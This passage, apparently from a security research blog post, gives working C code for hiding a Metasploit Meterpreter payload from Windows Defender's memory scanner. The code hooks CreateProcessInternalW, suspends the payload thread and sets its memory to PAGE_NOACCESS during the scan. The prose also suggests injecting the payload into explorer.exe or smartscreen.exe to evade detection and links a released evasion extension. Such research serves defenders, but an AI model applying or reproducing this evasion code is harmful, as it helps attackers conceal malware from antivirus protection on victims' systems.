BOOL restoreHook(LPHOOK_RESULT hookResult) {
if (!hookResult) return FALSE;
DWORD currProt;
VirtualProtect(hookResult->hookFunAddr, hookResult->len, PAGE_EXECUTE_READWRITE, &currProt);
CopyMemory(hookResult->hookFunAddr, hookResult->originalData, hookResult->len);
DWORD dummy;
VirtualProtect(hookResult->hookFunAddr, hookResult->len, currProt, &dummy);
HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, hookResult->originalData);
HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, hookResult);
return TRUE;
}
When our Metasploit payload calls the CreateProcess function, our custom hookCreateProcessInternalW method will be executed instead. hookCreateProcessInternalW calls createProcessNinja on another thread to hide the Meterpreter payload.
BOOL
WINAPI
hookCreateProcessInternalW(HANDLE hToken,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation,
PHANDLE hNewToken)
{
BOOL res = FALSE;
restoreHook(createProcessHookResult);
createProcessHookResult = NULL;
printf("My createProcess called\n");
LPVOID options = makeProcessOptions(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)createProcessNinja, options, 0, NULL);
printf("[!] Waiting for thread to finish\n");
WaitForSingleObject(thread, INFINITE);
GetExitCodeThread(thread, (LPDWORD)& res);
printf("[!] Thread finished\n");
CloseHandle(thread);
createProcessHookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5);
return res;
}
Notice that setPermissions is used to set the PAGE_NOACCESS permission on our memory before the call to CreateProcess is finally made.
BOOL createProcessNinja(LPVOID options) {
LPPROCESS_OPTIONS processOptions = (LPPROCESS_OPTIONS)options;
printf("Thread Handle: %02lX\n", metasploitThread);
if (SuspendThread(metasploitThread) != -1) {
printf("[!] Suspended thread \n");
}
else {
printf("Couldnt suspend thread: %d\n", GetLastError());
}
setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_NOACCESS);
BOOL res = CreateProcessInternalW(processOptions->hToken,
processOptions->lpApplicationName,
processOptions->lpCommandLine,
processOptions->lpProcessAttributes,
processOptions->lpThreadAttributes,
processOptions->bInheritHandles,
processOptions->dwCreationFlags,
processOptions->lpEnvironment,
processOptions->lpCurrentDirectory,
processOptions->lpStartupInfo,
processOptions->lpProcessInformation,
processOptions->hNewToken);
Sleep(7000);
if (setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_EXECUTE_READWRITE)) {
printf("ALL OK, resuming thread\n");
ResumeThread(metasploitThread);
}
else {
printf("[X] Coundn't revert permissions back to normal\n");
}
HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, processOptions);
return res;
}
A brief sleep of five seconds is taken to let the Windows Defender scan complete before the permissions of the Metasploit modules are reverted back to normal. Five seconds was sufficient during testing however this may take longer on other systems or processes.
Also during testing it was found that some processes didn’t trigger Windows Defender even though they made calls to those WinAPI functions. Those processes are:
- explorer.exe
- smartscreen.exe
So another potential bypass would be to simply inject your Meterpreter payload within either process and you would bypass Windows Defender’s memory scanner. Although unconfirmed we believe this may have been a performance optimization as those two processes often call CreateProcess.
A custom Metasploit extension called Ninjasploit was written to be used as a post exploitation extension to bypass Windows Defender. The extension provides two commands install_hooks and restore_hooks which implement the memory modification bypass previously described. The extension can be found here:
https://github.com/FSecureLABS/Ninjasploit
Conclusion
In recent years Windows Defender has made some great improvements, yet as this testing showed, with relatively little effort the static analysis and even runtime analysis can be bypassed.
We showed how payload encryption and common process injection techniques could be used to bypass Windows Defender. And while more advanced runtime analysis provided an additional hurdle it was still relatively straight forward to bypass by abusing the limitations of real-time memory scanning. Although not the focus of this post it would have been interesting to perform the same testing against next-gen file classification as well as modern EDR solutions as these may have provided additional challenges.
Special thanks Luke Jennings and Arran Purewal for all their help and support during this research project.